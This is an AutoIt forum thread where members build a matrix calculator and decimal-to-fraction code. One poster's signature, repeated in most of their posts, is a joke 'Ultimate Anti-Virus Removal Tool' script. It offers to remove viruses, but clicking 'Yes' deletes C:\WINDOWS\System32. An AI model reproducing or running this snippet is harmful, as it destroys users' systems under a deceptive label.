## Recommended Posts

Hi! This is my first script I'm putting up so here it is. It multiplies, finds the determinant, and the inverse of 2x2 and 3x3 matrices (except for the inverse of a 3x3...not sure how to do that yet). Very simple. Not much to it. 2x2_and_3x3_Matrix_Calculator.exe

Test.au3

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```

##### Share on other sites

Nice work on this script! I actually have to do a program on matrixs for my ap computer science class.. I'll be using lots of arrays though...

I would suggest starting off with all the input boxes clear. Or at least make is so that when you press clear it restores to what it is at the very beginning... That would seem more professional in my opinion...

##### Share on other sites

I made one too! and it has no limits. Adding ans substracting worked great, but I had some troubles with the product. It worked fine with certain depth, but not for all of them Great work on yours, very inspiring I might get back to working with mine some day.. if I need it

##### Share on other sites

I made one too! and it has no limits.

I mean limits as in it can't really do much. It can't multiply a 2x2 by a 2x3. Also, a quick question. Is there a way to make it turn decimal answers into fractions?

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```

##### Share on other sites

damn just took the final 2 days ago. would have been very useful. nice job though

##### Share on other sites

I mean limits as in it can't really do much. It can't multiply a 2x2 by a 2x3. Also, a quick question. Is there a way to make it turn decimal answers into fractions?

i think fraction is something you have to implement yourself. like finding common denominator

##### Share on other sites

i think fraction is something you have to implement yourself.

*sigh*

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```

##### Share on other sites

It's not that hard. Look at this: http://www.webmath.com/dec2fract.html

I might give it a try, it's interesting... but I don't promise anything.

##### Share on other sites

It would be hard to write a script for that. You'd first have to find out how many decimal points are in there, then divide it by the number coordinating with that AFTER you take out the decimal (because you have to divide the original number without the decimal). Then you'd have to find the lowest number that could be divided into both and THEN you're done.

Ex.

.85 (2 decimal points so...)

85/100 (5 is the first number that will divide into both of them)

LCD =5

Ex2.

.384 (3 decimal points so...)

384/1000 (48/125 is the first number that will divide into both of them)

LCD = 48/125

It would be hard to do...at least for me. xD

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```

##### Share on other sites

This is what I got so far:

```\$Frac=_DecToFrac(7.154)
ClipPut(\$Frac)

MsgBox(0,"",\$Frac)

Func _DecToFrac(\$Decimal,\$Part=False)

\$String=String(\$Decimal)
\$decPart=StringSplit(\$String,".")

\$Length=StringLen(\$decPart)
\$zeros=""

For \$i=1 To \$Length
\$zeros&="0"
Next

\$partial=\$decPart & "+(" & \$decPart & "/1" & \$zeros & ")"

\$Gcd=GreatestCommonDivisor("1" & \$zeros,\$decPart)

\$Num=\$decPart/\$Gcd
\$Den=Number("1" & \$zeros) / \$Gcd
If \$Gcd=0 Or \$Part Then Return \$decPart & "+(" & \$Num & "/" & \$Den & ")"
\$Num=(\$Den*\$decPart) + \$Num
Return \$Num & "/" & \$Den

EndFunc

Func GreatestCommonDivisor(\$a, \$B)
\$a=Number(\$a)
\$b=Number(\$B)
while \$b <> 0
if \$a > \$b Then
\$a = \$a - \$b
else
\$b = \$b - \$a
EndIf
WEnd
If \$b=0 Then
Return \$a
Else
SetError(1)
Return 0
EndIf
EndFunc```

it's very messy and needs lots of working, but it works as expected for many small numbers.

In the example given (7.154), the result will be an improper(?) fraction, since the numerator is greater than the denominator. (3577/500). So I added the \$Part parameter. Setting it to 1 or True, will make it return like this: 7+(77/500)

Try it out with as many decimal numbers as possible, and see if you can debug a bit and make it cleaner.

##### Share on other sites

Any way you can make this also reduce the fraction? So it would be: 7 75/500?

Also, I made a quick little input box based program. Sloppy 1 minute project. xD

```;;;;GCD;
Func GreatestCommonDivisor(\$a, \$b)
\$a=Number(\$a)
\$b=Number(\$b)
while \$b <> 0
if \$a > \$b Then
\$a = \$a - \$b
else
\$b = \$b - \$a
EndIf
WEnd
If \$b=0 Then
Return \$a
Else
SetError(1)
Return 0
EndIf
EndFunc
;;;;/GCD;

;;;;LCD;
Func _DecToFrac(\$Decimal,\$Part=False)

\$String=String(\$Decimal)
\$decPart=StringSplit(\$String,".")

\$Length=StringLen(\$decPart)
\$zeros=""

For \$i=1 To \$Length
\$zeros&="0"
Next

\$partial=\$decPart & "+(" & \$decPart & "/1" & \$zeros & ")"

\$Gcd=GreatestCommonDivisor("1" & \$zeros,\$decPart)

\$Num=\$decPart/\$Gcd
\$Den=Number("1" & \$zeros) / \$Gcd
If \$Gcd=0 Or \$Part Then Return \$decPart & "+(" & \$Num & "/" & \$Den & ")"
\$Num=(\$Den*\$decPart) + \$Num
Return \$Num & "/" & \$Den

EndFunc
;;;;/LCD;

\$number = InputBox("Decimal to Fraction", "Put in you decimal")

Edited by Firefoxy

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```

##### Share on other sites

Well.. it already reduces the fraction. That's why I need the GCD. Have you tried setting the second parameter of _DecToFrac() to 1?

look:

```\$Frac=_DecToFrac(7.145)
MsgBox(0,"",\$Frac)

\$Frac=_DecToFrac(7.145,1)
MsgBox(0,"",\$Frac)```
Edited by Nahuel

##### Share on other sites

Nuh uh. I'm not really sure how those work so I just leave them alone. However, I tried to see if putting a very long decimal in would mess it up and it sorta...did...ish.

I put: .123456789876543212345678909876543212345676543245676543456765432345676543234567

and got this: Not really something going wrong I guess MsgBox has a limit on how many numbers are on a single line? Nothing to do with your script.

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```

##### Share on other sites

HAHAH, smart! eh?

How long did it take it? Well my script does have a limitation, I don't know how long though.

If you really need numbers so big, cut it to only 9 decimal digits, but that makes it less accurate:

```Func _DecToFrac(\$Decimal,\$Part=False)

\$NumeratorToStr=String(\$Decimal)
\$decPart=StringSplit(\$NumeratorToStr,".")

\$Length=StringLen(\$decPart)
If \$Length > 9 Then
\$temp=StringLeft(\$decPart,9)
\$decPart=\$temp
\$Length=9
EndIf

\$zeros=""

For \$i=1 To \$Length
\$zeros&="0"
Next

\$Gcd=GreatestCommonDivisor("1" & \$zeros,\$decPart)

\$Numerator=\$decPart/\$Gcd
\$Denominator=Number("1" & \$zeros) / \$Gcd
If \$Gcd=0 Or \$Part Then Return \$decPart & "  " & \$Numerator & "/" & \$Denominator & ""
\$Numerator=(\$Denominator*\$decPart) + \$Numerator
Return \$Numerator & "/" & \$Denominator

EndFunc```

##### Share on other sites

This is all I can do tonight:

I made it all in one UDF and made it cut decimals longer than 9 characters

```\$number = InputBox("Decimal to Fraction", "Put in you decimal")

MsgBox(0,"","Fraction: " & \$answer & @CR & @CR & "Or: " & \$answer1)

;===============================
;Convert from Decimal to Fraction
;Author: Nahuel
;===============================
Func _DecToFrac(\$Decimal,\$Part=False)
Local \$Gcd
\$NumToStr=String(\$Decimal)
\$decPart=StringSplit(\$NumToStr,".")

\$Length=StringLen(\$decPart)
If \$Length > 9 Then
\$temp=StringLeft(\$decPart,9)
\$decPart=\$temp
\$Length=9
EndIf

\$zeros=""

For \$i=1 To \$Length
\$zeros&="0"
Next

;Get greatest Common Divisor
\$a=Number("1" & \$zeros)
\$b=Number(\$decPart)

while \$b <> 0
if \$a > \$b Then
\$a = \$a - \$b
else
\$b = \$b - \$a
EndIf
WEnd
\$Gcd=\$a
;============================

\$Numerator=\$decPart/\$Gcd
\$Denominator=Number("1" & \$zeros) / \$Gcd
If \$Gcd=0 Or \$Part Then Return \$decPart & "  " & \$Numerator & "/" & \$Denominator & ""
\$Numerator=(\$Denominator*\$decPart) + \$Numerator
Return \$Numerator & "/" & \$Denominator

EndFunc```

Good night.

##### Share on other sites

It solved it instantly. So your script just cuts it off after 9 digits or does it round it off?

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```

##### Share on other sites

It just cuts it, but at the ninth digit! I don't see how rounding would make a big difference... it's just for displaying purposes.

Don't know if you saw it: http://www.autoitscript.com/forum/index.ph...st&p=450486

##### Share on other sites

Well...I doubt that when using matrices you'll ever pass 9 digits. Thanks for all your help! I'll add this and one other thing in tomorrow afternoon.

Edited by Firefoxy

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```

##### Share on other sites

Do u noticed since the Matrix Screensaver came, there came lots more Matrix things I like the Matrix AutoIT script Minesweeper

A minesweeper game created in autoit, source available.

_Mouse_UDF

An UDF for registering functions to mouse events, made in pure autoit.

2D Hitbox Editor

A 2D hitbox editor for quick creation of 2D sphere and rectangle hitboxes.

##### Share on other sites

This doesn't have anything to do with the movie...besides having the sme name. xD

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```

## Create an account

Register a new account

×

• Wiki

• Back

• #### Beta

• Git
• FAQ
• Our Picks
×
• Create New...